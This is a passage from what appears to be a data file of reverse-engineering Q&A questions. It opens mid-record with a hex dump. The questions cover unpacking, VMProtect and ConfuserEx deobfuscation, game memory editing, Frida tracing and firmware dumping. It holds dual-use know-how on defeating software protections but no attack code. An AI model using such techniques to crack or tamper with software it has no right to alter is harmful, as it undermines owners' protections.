+3B EC BB B0 66 6D A6 E7 0C C8 AE 57 94 00 0D 26
+B4 CC 12 91 D6 28 B5 9C 6A 5E 14 0C B1 DD 94 4B
+DB 9F 62 F8 9D 12 58 E3 12 20 53 AF AC 55 D2 24
+70 8C E1 D8 A5 04 7C 0F EB 61 E2 45 22 B7 72 97
+00 6F 43 04 B6 92 BD A2 E7 03 13 B0 F2 BD 08 BC
+0B 98 C0 51 62 77 17 EF A8 BB 0E 8E 48 3C C2 F5
+CA 50 F8 9B BB 5F D3 DD 2B 97 48 0A AE 87 C4 AB
+08 38 37 AE C0 0A 7F D9 30 81 BF 26 8E 2B 4A 80
+C6 25 48 4E 14 09 B0 F2 BE 07 21 A4 13 45 CE 39
+43 98 FF 85 EC A3 65 92 DB C5 77 C0 FF 86 F7 0A
+BF 03 13 24 C3 89 04 58 61 0F 7D 02 FC D5 32 D4
+A8 F6 BD C2 04 D4 C4 30 01 56 5A 26 D5 80 10 A0
+D1 32 D4 8F F6 BD C2 04 A9 83 01 AF 8C 55 38 AE
+68 2C 59 02 EA 6E 98 00 2B 2D 93 BE 84 10 A0 31
+EF A8 65 7B D5 AE 57 96 80 CE 29 4C 80 95 96 49
+0F 47 08 D0 68 19 BA BE F6 BD C2 04 74 99 61 02
+AC EC EF E6 E1 08 23 63 82 F4 D4 22 01 56 66 DF
+EA A4 72 1A 0A E7 57 9C 77 DD 5C 62 09 AC E1 09
+BE 72 DA 79 00 64 77 E5 94 90 A6 09 4A 3C EE B9
+1F AD 4D 2E 3C 77 3B 0B 29 C3 51 82 EB 5E DC DE
+47 A9 9D C1 B1 E8 DB D4 F4 92 4B 48 F9 8A 12 5C
+4F E5 F6 70 4A AD 77 0D 47 97 87 B6 3C 42 CA 70
+94 E0 7A 43 DC 33 1A E2 D7 E2 85 E8 4B FD 40 D9
+25 A4 DC 4E 09 A9 7B A5 C4 F7 EE FE E8 4F 77 BF
+47 70 39 D8 27 B8 09 C2 9D 3F 94 4A 3D 8A 52 CF
+3C 42 CA D4 94 E0 E6 1A 3C EF 18 62 7C 68 2B FF
+BA 6B D8 23 A4 DC 4E 09 69 F2 A2 C4 CE D4 74 FE
+EB E0 98 47 70 95 C1 27 B8 99 C3 9D 58 94 7A 33
+B9 30 90 46 BC 47 48 F5 83 12 DC 24 E4 4E 5E 4A
+AD A6 A7 89 23 A4 FA 41 09 6E A2 C3 93 5E B6 F2
+25 58 39 26 A4 8A 43 09 69 E6 A4 C4 58 7A 9A E0
+0B 62 82 AB 57 3E C1 CD E4 EE 44 AF D4 E7 F4 34
+D9 48 AC A1 B8 E2 AB 1A 25 B8 9B 02 7C 83 60 88
+9F E9 69 FA DD 3A 51 98 90 EA 20 25 A4 BB 0C 4A
+68 8F 20 33 60 82 AB A2 3E C1 DD AA B8 77 32 69
+EE 4E 77 B6 D8 CA 70 98 90 6A 2D 25 B8 BB 1E 7C
+07 94 65 EA 32 64 6A 4C 48 B5 96 12 D2 6D 14 25
+9A 91 DE AA 38 98 90 AB 33 26 B8 9B 34 5C 13 E1
+81 7A 6E 67 35 DC 71 F8 95 D3 27 FC 1E C5 23 CA
+40 E0 4E 1F DF 07 B8 73 AD 4B E0 D9 89 F6 A8 4A
+FD 07 F2 BB B3 66
+
+" +"['ida', 'disassembly', 'assembly']"," Title: strange results with IDA (some function different Pseudo Code)Body: After show the pseudo code in IDA I see different results: + + +The function 4436C0 show different pseudo code. +For example: +
result = sub_4376C0("vvcbb3.wav",v8,0);
+
+and +
result = sub_4376C0((int)"vvcbb3.wav",v8,0);
+
+Have you never seen a similar situation? +It is a IDA bug ? +" +"['windows', 'assembly', 'c', 'kernel', 'syscall']"," Title: how could i follow a system call from a dll -> kernel driver syscallBody: basically i would like to follow (system calls / internal calls) that basically lands in the kernel i would like for example to debug a specific dll ex : ntdll.dll and follow it to (NtXXX) function where its located in XXX.sys driver i hope that my question was clear also if its possible doing this with windbg would be a lot better for me instead of using a 3rd part software. +i also tried to use Rohitab api monitor but i couldn't understand how does it actually works +" +"['ida', 'unpacking']"," Title: Reconstructing a PE from unpacked memory in IDABody: I’m trying to byte patch a 12 year old program written in MS Visual C++ V9. However, some of its code has been packed with ‘Lock Express V2.0’. I’ve loaded the executable in IDA and run the Universal PE Unpacker with success. I’m now able to inspect much more of the code and have identified the actual OEP. What I’d like to do is rebuild the unpacked memory into a new PE file so that I can start byte patching. My unpacking skills are poor but I believe I need to reconstruct the Input Address Table and fix the Header? Could I get some recommendations on how to do this? Programs, scripts, tutorials? Any help would be greatly appreciated. +" +"['assembly', 'vmprotect', 'virtualizers']"," Title: DevirtualizationBody: I've recently become pretty fascinated with virtualization and retrieving original code from a randomly generated byte code, such as protectors like VMProtect/etc. But I can not get a grasp on how it would actually be done. +Although I have read a few writings to help understand virtualization better, even articles specifically written to target the protector I'm trying to devirtualize, I can not relate their articles to my own sample. There are discrepancies between the two which confuse me. +I made a small program that takes in a string input and outputs it, then added Virtualization to the function. First thing I notice is that the function now calls another function, and looks like it adds random junk instructions after the call. I also notice that it pushes 4 bytes onto the stack. +
.vmp0:00440C0F 68 28 02 8E 51                          push    518E0228h
+.vmp0:00440C14 E8 68 BB FC FF                          call    sub_40C781
+
+Inside sub_40C781 I see it is pushing all registers on the stack and also the pushf instruction which pushes flags. Inbetween these pushes and main instructions, I can't help but notice pointless instructions inbetween, which is a little odd since I only specified Virtualization in protection. +Anyway, the main valid instructions I managed to scavenge from the function called go as +
push    ebp
+push    ebx
+push    ecx
+push    esi
+push    edi
+pushf
+push    edx
+push    eax
+mov     eax, 0
+push    eax
+mov     esi, [esp+24h+arg_0]
+lea     esi, [esi+eax]
+lea     esp, [esp-0C0h]
+
+But from there, I'm not sure how to proceed. The rest of instructions past the last lea go as +
.vmp0:0040E187                         loc_40E187:                             ; CODE XREF: .vmp0:00416516↓j
+.vmp0:0040E187                                                                 ; .vmp0:loc_42E5EB↓j ...
+.vmp0:0040E187 8B DE                                   mov     ebx, esi
+.vmp0:0040E189 B8 00 00 00 00                          mov     eax, 0
+.vmp0:0040E18E 0F BA F7 E7                             btr     edi, 0E7h ; 'ç'
+.vmp0:0040E192 66 23 F8                                and     di, ax
+.vmp0:0040E195 2B D8                                   sub     ebx, eax
+.vmp0:0040E197
+.vmp0:0040E197                         loc_40E197:                             ; DATA XREF: sub_40C781:loc_40E197↓o
+.vmp0:0040E197 8D 3D 97 E1 40 00                       lea     edi, loc_40E197
+.vmp0:0040E19D 66 0F A4 D0 09                          shld    ax, dx, 9
+.vmp0:0040E1A2 C1 C8 49                                ror     eax, 49h
+.vmp0:0040E1A5 81 EE 04 00 00 00                       sub     esi, 4
+.vmp0:0040E1AB 0F A3 F8                                bt      eax, edi
+.vmp0:0040E1AE 33 C6                                   xor     eax, esi
+.vmp0:0040E1B0 C6 C4 27                                mov     ah, 27h ; '''
+.vmp0:0040E1B3 8B 06                                   mov     eax, [esi]
+.vmp0:0040E1B5 F9                                      stc
+.vmp0:0040E1B6 F8                                      clc
+.vmp0:0040E1B7 E9 79 12 05 00                          jmp     loc_45F435
+
+But I can't see how this would be interpreting code and translating it to its x86 representation. From my understanding, esi is probably the VM's instruction ptr. loc_40E197 seems to be the instruction 'dispatcher' for lack of better words. But I can not get a grasp of the inner workings, esi seems to be decremented by 4 each loop, which I thought would be 1 instead. +Any insight on to how to proceed would be greatly appreciated. +" +['c++']," Title: Unrecognized sequence of bytesBody: I have this piece of code: +
.text:00537FDE                 push    offset a3Rrrrrrrrrrrrr ; "3L+ÐÐÐÐÐÐÐÐÐÐÐÐÐ+ÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐøû9\n"
+.text:00537FE3                 call    sub_5606A0
+
+
+Where offset a3Rrrrrrrrrrrrr is: +
.text:005379B0 a3Rrrrrrrrrrrrr db '3L+ÐÐÐÐÐÐÐÐÐÐÐÐÐ+ÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐøû9',0Ah,0
+
+
+The bytes from Hex View of this string: +
.text:005379B0  33 C0 C3 90 90 90 90 90  90 90 90 90 90 90 90 90  3L+ÐÐÐÐÐÐÐÐÐÐÐÐÐ
+.text:005379C0  C3 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  +ÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐ
+.text:005379D0  E8 EB 39 0A 00 68 C0 79  53 00 68 80 56 6A 00 6A  øû9.hLyS.hÀVj.j
+
+
+And sub_5606A0: +
.text:005606A0 sub_5606A0      proc near               ; CODE XREF: WinMain(x,x,x,x)+223p
+.text:005606A0
+.text:005606A0 arg_0           = dword ptr  4
+.text:005606A0
+.text:005606A0                 mov     eax, [esp+arg_0]
+.text:005606A4                 mov     dword_8478CC, eax
+.text:005606A9                 retn
+.text:005606A9 sub_5606A0      endp
+
+
+What can this encoded string mean? +
.text:005379B0 a3Rrrrrrrrrrrrr db '3L+ÐÐÐÐÐÐÐÐÐÐÐÐÐ+ÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐøû9',0Ah,0
+
+Thanks in advance! +" +"['ida', 'android', 'frida']"," Title: Frida not able to trace sub_XXXXX which must have been calledBody: I have the following pseudocode generated by IDA Pro decompiler: +
__int64 *__usercall sub_155B5@<X0>(__int64 *a1@<X0>, unsigned int a2@<W1>, char **a3@<X8>)
+{
+  ...
+  result = sub_222E0((__int64 *)a3, 2 * a2, 0x20u); 
+  return result;
+}
+
+Using frida-trace, I could verify that sub_155B5 is called for every API request. This is the command that I used: +
$ frida-trace -U com.app.name -a 'libname.so!0x155b5'
+
+Therefore, I thought I could safely assume that sub_222E0 was also executed, because it's contained by sub_155B5 which was obviously executed. However, it turned out that I was wrong. frida-trace failed to trace sub_222E0 using the same command above. +What are the possible causes for this outcome? +Thank you. +

EDIT

+Here's the declaration of sub_222E0: +
__int64 __fastcall sub_222E0(__int64 a1, __int64 a2, __int64 a3)
+{
+  return sub_4D2EC(*(_QWORD **)(a1 + 64), a2, a3);
+}
+
+And frida-trace does trace sub_4D2EC everytime sub_155B5 is executed, but not sub_222E0. +" +['deobfuscation']," Title: Looking for obfuscation patterns within jumpsBody: I'm working on an obfuscated binary. I recognized some patterns used to confuse the disassembler, some used to obfuscate function calls, some other for conditional jumps and so on. +The idea was to search these patterns along the binary. The problem is that such patterns are often interleaved with unconditional jumps. +For example this code is used to replace a simple conditional jump: +
push    offset loc_123456
+push    ebx
+push    eax
+mov     ebx, [esp+8]
+mov     eax, offset loc_654321
+cmovz   ebx, eax
+mov     [esp+8], ebx
+pop     eax
+pop     ebx
+retn
+
+The problem is that this pattern is often split in two or more parts (because the whole code is split in several blocks that are spread everywhere in the binary and then connected with unconditional jumps), and of course I cannot find it with a simple byte pattern search. +Is there any way to look for all the pieces of code that satisfy a pattern even if they are broken in 2 (or more) pieces and connected with an unconditional jump? +" +"['memory', 'windbg']"," Title: WinDbg pattern search not returning expected resultBody: I'm searching for a string, say the old "This program cannot run". +Switching context to e.g. notepad, non invasive, with page translation +
1: kd> !process 0 0 notepad.exe
+PROCESS ffff9d05d0005080
+    SessionId: 2  Cid: 0368    Peb: 5c8ae78000  ParentCid: 0890
+    DirBase: 30305002  ObjectTable: ffffb48e166c1440  HandleCount: 232.
+    Image: notepad.exe
+
+1: kd> .process /r /p ffff9d05d0005080
+
+And sweeping for strings returns the expected result +
1: kd> s -[l16]sa 7ff6e1760000 L100
+00007ff6`e176004e  "This program cannot be run in DO"
+00007ff6`e176006e  "S mode.
+
+However pattern search returns with nothing +
1: kd> s -a 7ff6e176004e L100 "This program"
+
+Sanity: +
00007ff6`e176004e  54 68 69 73 20 70 72 6f-67 72 61 6d 20 63 61 6e  This program can
+00007ff6`e176005e  6e 6f 74 20 62 65 20 72-75 6e 20 69 6e 20 44 4f  not be run in DO
+00007ff6`e176006e  53 20 6d 6f 64 65 2e 0d-0d 0a 24 00 00 00 00 00  S mode....$.....
+
+Now if I switch context, but this time with the invasive flag +
1: kd> .process /i /r /p ffff9d05d0005080
+1: kd> g
+
+And voila +
1: kd> s -a 7ff6e176004e L100 "This program"
+00007ff6`e176004e  54 68 69 73 20 70 72 6f-67 72 61 6d 20 63 61 6e  This program can
+
+Since clearly WinDbg can search & find the string on it's own, why is invasive needed for it to crop up during pattern search? +Thanks +" +"['windows', 'debugging', 'strings', 'game-hacking', 'graphics']"," Title: How to find and edit the source of a string in a DX11 game's exe/files (debug build of the game available)Body: I want to find and edit the values for the motion blur effect in Naruto: Ultimate Ninja Storm 3 on PC (Windows, DX11) to be more in line with the PS3 version (and the other Storm games on PC as well). The PS3 version uses a very nice per-object motion blur while the PC version uses a crappy camera blur. The ultimate goal of this is to transfer this motion blur over to Storm 4 on PC which uses the same engine. +All of my findings are documented here: +https://docs.google.com/document/d/1xxqOxLJwt04sgnIKqHHlfr8Gu6V_4toOFHv52P1FYEY/edit?usp=sharing +" +"['arm', 'jtag']"," Title: JTAG TCK on Intel X Scale (ArmV5) PXA270Body: Is TCK on JTAG the same speed as CPU clock on a Intel X Scale (ArmV5) PXA270? +I'm probing signals on pads around the CPU and got a waveform like: + +But I don't know whether any of this data is JTAG, or just writing to memory or something else. Any idea what this data is? +I think if I can find TCK, TDO/TDI should be somewhere near the same set of pads on the PCB? +" +"['file-format', 'mips', 'flash']"," Title: Why doesn't binwalk see the filesystems in this Eufy Home Base 2 flash dump?Body: This teardown: +https://electronics-teardowns.blogspot.com/2020/07/eufy-homebase2-teardown.html +Gives a flash dump for the Eufy Home Base 2 here: https://anonymousfiles.io/Ve9y3cL4/ +With this partition table: +
[    0.472000] Creating 12 MTD partitions on "raspi":
+[    0.480000] 0x000000000000-0x000002000000 : "ALL"
+[    0.484000] 0x000000000000-0x000000030000 : "Bootloader"
+[    0.492000] 0x000000030000-0x000000040000 : "Config"
+[    0.500000] 0x000000040000-0x000000050000 : "Factory"
+[    0.504000] 0x000000050000-0x0000002e02cd : "Kernel"
+[    0.512000] mtd: partition "Kernel" doesn't end on an erase block -- force read-only
+[    0.520000] 0x0000002e02cd-0x000000e50000 : "RootFS"
+[    0.524000] mtd: partition "RootFS" doesn't start on an erase block boundary -- force read-only
+[    0.536000] 0x000000050000-0x000000e50000 : "Kernel_RootFS"
+[    0.544000] 0x000000e50000-0x000000e60000 : "device_info"
+[    0.552000] 0x000000e60000-0x000000e70000 : "ocean_custom"
+[    0.560000] 0x000000e70000-0x000000f40000 : "Kernel2"
+[    0.564000] 0x000000f40000-0x000001440000 : "RootFS2"
+[    0.572000] 0x000001440000-0x000002000000 : "user_fs_jffs2"
+
+But binwalk, file, unsquashfs, etc., can't seem to find filesystems at those offsets. Eg., binwalk just sees a bunch of xz data (which often decompresses into MIPS binaries, but not a filesystem): +
$ binwalk mtd0 |head
+
+DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+83600         0x14690         U-Boot version string, "U-Boot 1.1.3 (Nov  6 2018 - 17:19:03)"
+327680        0x50000         uImage header, header size: 64 bytes, header CRC: 0xD3931108, created: 2020-05-09 09:54:47, image size: 13185677 bytes, Data Address: 0x80000000, Entry Point: 0x805E9280, data CRC: 0x62435970, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "Linux Kernel Image"
+327744        0x50040         LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 8125672 bytes
+3015469       0x2E032D        xz compressed data
+3064741       0x2EC3A5        xz compressed data
+3112893       0x2F7FBD        xz compressed data
+3164133       0x3047E5        xz compressed data
+...
+
+I'd like to study the various rootfs filesytems listed in the partition table. What am I missing? +" +"['debugging', 'ollydbg', 'debuggers', 'x64dbg']"," Title: x64dbg execute till next call OR returnBody: I am using x64dbg and I want to know if there's any way to run the code till next Call statement? +I know there is an "Execute till return" option, +but I want to execute till next call statement or next CMP or any other statements. +Thank you. +" +"['disassembly', 'compilers', 'compiler-optimization']"," Title: Why do those useless instruction are in Rust final binary?Body: I am currently reversing RUST binaries, and I often come across this block of instruction : +
.text:000055F4BFB943F2 db      2Eh
+.text:000055F4BFB943F2 nop     word ptr [rax+rax+00000000h]
+.text:000055F4BFB943FC nop     dword ptr [rax+00h]
+
+Which probably does nothing. I can see the rogue byte at the beginning, but pressing C on IDA to disassemble from there gives no result. Thus, I am wondering why rust compiler create those instructions as they appear to be useless. +" +"['section', 'code-generation']"," Title: What are all possible ways to add strings to the .rdata section of a Binary Executable?Body: I was wondering what are all the possible ways people can mess with the executable's .rdata strings ? +Because I've actualy seen it .. But I do not have any idea how they do that. +Some random dude made like a copy of My executable but with more strings (Files Names) on an [x] offset that falls into the .rdata section, which caused the Executable to map more files in the memory ... +How is that even possible ? +" +['pe']," Title: Why are relocation tables needed?Body: I understand that the relocation table exists for when an image isn't loaded at its preferred address, but if an image isn't loaded at its preferred address, doesn't everything need to be relocated relative to the actual load address? Isn't that the whole point of an RVA? What makes addresses that have entries in the relocation table different? +(My first question, please point out mistakes if I made them. Thanks.) +" +"['objdump', 'address', 'section']"," Title: How to get address or symbol of the usage of a constant located in rodata?Body: I have an elf executable. I found a string (awesome string) in my .rodata section: +
$ mb-readelf -p 10 a.out
+
+String dump of section '.rodata':
+  [     0]  Hello world
+...
+  [  ab12]  awesome string
+...
+
+Here are the sections: +
$ readelf -S a.out
+There are 27 section headers, starting at offset 0x10150:
+
+Section Headers:
+  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
+  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
+...
+  [10] .rodata           PROGBITS        00004fc8 00a030 001394 00   A  0   0  4
+...
+
+So the address of awesome string is 00004fc8 + ab12 = 14ada +I want to know which functions are using this awesome string. How can I know who references the address 14ada? +" +"['disassembly', 'binary-analysis', 'c', 'gcc']"," Title: How to find function start in stripped binary?Body: Given C code, are the function addresses from the ELF the same as those in the stripped version? +I don't have any specific code in mind. Just trying to learn in general how to find the function beginning (and possibly end) in the stripped binary given the original code. +" +"['decompress', 'game-hacking', 'graphics']"," Title: How to extract .nsh file?Body: I am trying to edit the graphics on a game and have a .nsh file where post-process effect data is contained. I cannot seem to find a program to extract/read its contents. +Googling it, I see something about NSIS packages but nothing past that. +Edit: Link added for the file. This is for Naruto Ultimate Ninja Storm 3 Full Burst HD on PC (dx11), and I have also uploaded the corresponding nsh files for ps3, xbox360, ps4, and dx9 (win32) +https://drive.google.com/drive/folders/17JZi-H8DpZZsOcyTZ_xQUvrgV-cnmnbd?usp=sharing +" +"['windows', 'x86-64', 'pintool']"," Title: Windows pintool mismatch between call/ret instructionsBody: So i've been trying to write a pintool that monitors call/ret instructions but i've noticed that threre was a significant inconsistency between the two. For example ret instructions without previous call. +I've run the tool in a console application from which a number of inconsistencies can be observed. Below are the first 3 log entries showing this inconsistency: +
1. Call from ntdll!LdrpCallInitRoutine+0x69, expected to return to 7ff88f00502a
+2. RETURN to 7ff88f00502a
+//call from ntdll!LdrpInitializeNode+0x1ac which is supposed to return at 7ff88f049385 is missing (the previous instruction)
+3. RETURN to 7ff88f049385 (ntdll!LdrpInitializeNode+0x1b1)
+
+The above are the first 3 log entries for the call/ret instructions. As one can see, the monitoring appears to start a bit late, at the call found at ntdll!LdrpCallInitRoutine+0x69, after which it returned to the expected address but then returned to 7ff88f049385 without first tracking the call found in the previous instruction. +Any ideas of what could be the fault? +The program is traced with INS_AddInstrumentFunction with a callback that more or less does: +
if INS_IsCall(ins) INS_InsertCall(ins,...
+if INS_IsRet(ins) INS_InsertCall(ins,...
+
+I've tried the same program on Linux which worked as expected, without any mismatch. +Any ideas of the reason behind this behavior? +" +['ghidra']," Title: Is there any way to get predicted variables using python script?Body: I have a simple program: +
#include <stdio.h>
+
+int main()
+{
+  int a;
+  a = func(15, 3);
+  return a;
+}
+
+int func(int i, int j)
+{
+  int b1[5], b2[10];
+
+  b2[i] = 1;
+  printf("%d\n", b1[j]);
+
+  return 0;
+}
+
+I am using python script to get local variables from the stripped binary, compiled using above program. +I use: function.getLocalVariables() or something like function.getStackFrame().getStackVariables() to get the local variables. Interestingly I observed that, this script doesn't give me all the variables which can be seen in the decompiler window. For e.g., in the above case, I get following in the decompiled window (for function func): + +Here, the predicted buffers can be seen. But instead I get: +
FUN_004004d6
+array(ghidra.program.model.listing.Variable, [[undefined4 local_5c@Stack[-0x5c]:4], [undefined4 local_60@Stack[-0x60]:4]])
+
+which are clearly not the predicted buffers. Is there any way to get those buffers? +Note: I also posted the same on ghidra github's forum. +" +['vulnerability-analysis']," Title: What are the best ways today in order to learn about finding use-after-frees while code auditing?Body: I'm a novice CTF player with a decent understanding of OS internals and software mechanisms, I have deep understanding of heap and OS and User locking mechanims. +I would like to learn on how to properly identify use-after-frees in source codes. The classical examples of alloc-free-use are too simple, (at least for me), in order to deeply understand how use-after-free mechanims is actually identified. I've been reading about the subject for quite a lot in the past few weeks but I do not seem to find good examples, (bugs/writeups), on. +What are good examples, (bugs/writeups), or methodologies in order to properly identify use-after-frees in code? +" +"['assembly', 'debugging', 'c++', 'memory', 'x86-64']"," Title: Change value of memory in a debugger?Body: So I got this app loaded in x64, there is a function, let's say +"HeatGainedPerShot", which is basically the value which an object gains everytime it fires, +Such a value would normally exist in the code, but as this is C++, it is simply impossible to revert to source code, thus leading me to a debugger, +So I found it, well.. the debugger displays many leading to the same adress, but that's for later. +
0000000140201A9D | 48:8D0D FC7FFF02       | lea rcx,qword ptr ds:[1431F9AA0]      |00000001431F9AA0:"FireMode.HeatPerShot"
+
+As you can see +rcx is what contains it, +Is there a way to do math on it? or change it to a zero, + +I know it doesn't work, but would it not be possible to do something like that? +( https://i.imgur.com/hHCWS3l.png ) +" +"['firmware', 'firmware-analysis', 'flash', 'spi', 'atmel']"," Title: How to dump firmware from ATWINC1510Body: I got a ATWINC-1510 based device in front of me where I want to dump the firmware / flash contents from into a bin file. +I know that the IC offers an SPI interface through the pins described in the datasheet. On the site of flash ROM I did not find any information whether flash ROM is capable of downloading the binary contents of the flash memory. Basically I was unsure as it is not a pure flash chip but like a microcontroller. +Would appreciate any help on this. +cobz +" +"['disassembly', 'radare2', 'x86-64']"," Title: Radare2 - what does dot mean in disassemblyBody: I've just started using radare2 and I've noticed a dot when I tried to disassamble one on my programs. The output is: +
0x00000000      48b841000000.  movabs rax, 0x41
+
+I understand that 0x48 is the REX prefix for mov (0xB8) and immediate operand is 0x41. If 0x41 consumed 64 bits it would be 0x0000000000000041 (8 bytes). +Total length of the instruction should be 10 bytes (0xA) which makes sense as my next instruction starts at 0xA (as first one consumes 10 bytes starting from 0x0 to 0x9) +What is the meaning of dot in disassembly above? Could someone maybe point me to documentation that talks about disassembly format? +" +"['disassembly', 'assembly', 'debugging', 'c++', 'x86-64']"," Title: How can I modify these?Body: So I'm onto something interesting, I asked the less direct way but failed to meet the requirements in terms of explanation +So here it is, how would I go about editing these the same way I would go about editing them in the code? + +In reality I would set these to '0' ,how would I go about this with the Debugger? +" +"['ida', 'disassembly', 'binary-analysis', 'malware', 'ghidra']"," Title: How does an executable’s static API differ from it’s dynamic API?Body: Running an executable in Cuckoo sandbox gives me its dynamic API information. How do these API calls differ from their static API information (eg. If I were to just put the executable through IDA Pro or Ghidra?) I know that the static API calls have different names from the dynamic ones, but are they two separate non intersecting sets (i.e. each particular API name only belongs to either the static API category or the dynamic API category, and never both?) +" +"['deobfuscation', '.net']"," Title: How To Deobfuscate ConfuserEx .NET Assembly?Body: No matter what I try I cannot deobfuscate this crackme https://crackmes.one/crackme/5d6c847433c5d46f00e2c390. +I have tried each & every tutorial on youTube of which this one is the best https://youtu.be/X0F_-sE-6GU. Following all the steps in the video I receive an unhandled exception at 1:47. I am unable to deobfuscate the crackme. I've tried so many variations of this I couldn't possibly list them. Imagine 3-days; 9 hours a day running every variation, that's what I've done. +An expert will have it deobfuscated in a few mins. Is anyone able to advise the steps with dnSpy to truly deobfuscate this crackme? +I'm not after the solution to the crackme; just how to debfuscate. +" +"['javascript', 'websites']"," Title: How to get video file URL from TwitterBody: I am looking how to find the video URL of a Twitter video so I can code a converter later (using nodejs or something), but I can't figure out how to do this. I saw this but it doesn't really clear anything up (I can't figure out where the json file they are talking about is)
+Any help is appreciated +" +"['sniffing', 'bluetooth']"," Title: Logitech UE (Mega)Boom Broadcast AudioBody: I am interested to build a tool which can stream audio synchronized to multiple UE Boom speakers. +UE (Mega)Boom speakers already have the ability to build up a broadcast/multicast domain to play audio simultaneously. Logitech calls this feature "Party Up". Each speaker has two Bluetooth interfaces. One is used to communicate with the audio source (eg. your phone). The other one (most likely BLE) is used for communication between the speakers. So when I'm connected to one speaker it is possible to link other (not connected) speakers to play the audio. Synchronization happens between the first speaker (master) and the other linked speakers (slaves). So the stream from the source to the first speaker is not synchronized anymore as soon as you add speakers. To stream the music to the slave speakers, the master uses the second Bluetooth interface. I don't know what protocol they used but maybe they leverage the "multistream audio" feature in Bluetooth LE. +As initially said, I'm trying to build a tool which allows eg. a Raspberry Pi to either be part of the broadcast/multicast domain and receive the synchronized audio, or to initiate the stream and send out the synchronized stream to all the speakers. +Does anyone has any experience with these speakers? Sniffing Bluetooth packets without being part of the communication is quite hard. So my current approach would be to reverse engineer the protocol step by step: +First check what the speaker advertises. Then advertise that myself to one of the speakers and check the response. Basically capture and replay. +Also, I haven't really seen any implementations of Bluetooth LE multistream audio so far. Does anyone know a (unix) tool which is capable of using this rather new feature? +PS: I've obviously seen UE Megaboom serial protocol and Sniffing serial Bluetooth traffic on Android however they all look at the connection between the source and the first (master) speaker. I'm interested in the second connection from the master to the slaves (which I am not part of so wireshark won't help). +" +['file-format']," Title: What image format is this?Body: I am trying to reverse engineer an image file generated by my microscope. It is supposed to be an HDR image. The file has very distinct pattern in HEX editor but I am unable to recognise it: + +First 16 bytes are some sort of a header and then every 4th byte is 0x3C, and sometimes it is 0x3D instead. The file continues with the same pattern until the end and ends with 0x3C as well. +Is this something very proprietary or do any of you guys recognise it? +Edit: The entire file is available here. +" +['.net']," Title: Determine Control-Flow Of A .NET Assembly?Body: Using DnSpy is great, but it's very awkward to ascertain the control-flow of an executable. Is anyone able to advise on free-of-charge helpful apps that display a control-flow graph? +IDA Home does not work on .NET assemblies, nor does Radare2 sadly. +Hopefully someone can tell what they do? +" +"['ida', 'dll', 'python']"," Title: Debug dll file used in python script IDABody: I am fairly new to RE on windows. +I have a python script which via ctypes uses functions from a dll. +I don't know if it's possible, but I would like to debug the dll used in the python script (the dll is not executable). +I tried to attach to the python process, but it exits right after, and I also tried to start the process from IDA, but I get a python console and my breackpoint is never reached. +So how can I do it? +" +"['arm', 'compiler-optimization']"," Title: ARM multiply compiler optimizationBody: I need help interpreting this compiler optimization: +
   ;R12 = 0x88888889;
+    UMULL           LR, R2, R12, R3 ; R3 * 0x88888889;
+    MOV             R2, R2,LSR#3 ; ((R3 * 0x88888889 << 32) >> 3)
+    RSB             R2, R2, R2,LSL#4 ; (R3 * 0x88888889 >> 32 >> 3) << 16
+    RSB             R2, R2, R3,LSL#1 ; (R3 << 1) - ((R3 * 0x88888889 >> 32 >> 3) << 16);
+
+currently i interpreted this like so (not sure it is correct): +
(R3 * 2) - ((R3 * 0x88888889 * 120) / 0xFFFFFFFF);
+
+I found that it maybe integer division, I hope someone can help me understand this optimization better +Thanks. +" +"['ida', 'binary-analysis', 'decryption', 'unknown-data']"," Title: How to extract information from a binary file knowing the target infoBody: I have some measured data comes from a various types of sensors. The sensors are connected to a data-logger in order to store measurement data. After measurement, the data transported and stored in a logosense data-logger. +EDIT: For reading the stored measurement data we can use "HYDRAS 3" a software developed by OTT (using RS232 serial connection and OTT hrdrosence protocol). After reading the data this read-file has been obtained. At the same time we have monitored the serial port and the communication between the data-logger and HYDRAS to obtain the following monitor-file. +My question is how can i map these two file and extract the measured data at different measurement times from the monitor-file?(or just understand the file). +It seems that my question is not a cryptography problem, I was wondering how Reverse Engineering can solve my problem. Any starting tips? +P.S. the read-file is just for level sensor and the measured data are in meters. e.g. 3.522 at time 10:00, 3.515 at time 11:00 and both are measured on 11/11/2019 +Any help or guidelines will be greatly appreciated. Thank you. +" +"['binary-analysis', 'file-format']"," Title: Identifying the nature and contents of a fileBody: As a preface, I do not have any experience in reverse engineering. I am an application developer, so this field is way out of my area of expertise. My end goal is to create a web page out of this information but this is the first hurdle I faced: getting the required data in the first place. +I am currently trying to identify the nature of a file that I have suspicions might be encrypted and/or compressed (I'm still trying to learn the tell-tales of a file being encrypted/compressed). Since this is way above what I can do at the moment, it would be great if someone can help out or at least provide some guidance. +This is an example file (do let me know if you'd like some more examples): +https://drive.google.com/file/d/1vwt4G55E-TaGvuWM86L6S-7Sbd2o0gOp/view?usp=sharing +So far, here's what I know and attempted: + +Any help/guidance would be appreciated. +" +['jtag']," Title: cheap BGA x-ray machine?Body: I want to look under a BGA chip and map JTAG pins to traces where I can attach a JTAGulator. Is there some version of a BGA x-ray that isn't thousands of $'s? +Here's a picture of the BGA's. Would it be easier to build a breakout connector to insert between this and main board? + +If I desoldered them, maybe I could stick them in a socket and read them directly? +" +"['debugging', 'memory']"," Title: Rust string capacity lower than string lenghtBody: According to RUST documentation, strings are stored this way : + +This is a statement I can verify while reversing rust binaries. +The thing is that when I am reversing rust binaries, I likely encounter cases where capacity is lower than length of the string, eg : +
[stack]:00007FFC8BE97218 str_ABCED dq offset ABCED               ; DATA XREF: XX
+[stack]:00007FFC8BE97218                                         ; (len=10) ABCEDFGHIJ
+[stack]:00007FFC8BE97220 dq 28h                                  ; String len: 40
+[stack]:00007FFC8BE97228 cap_ABCED dq 25h                        ; String 'capacity'
+
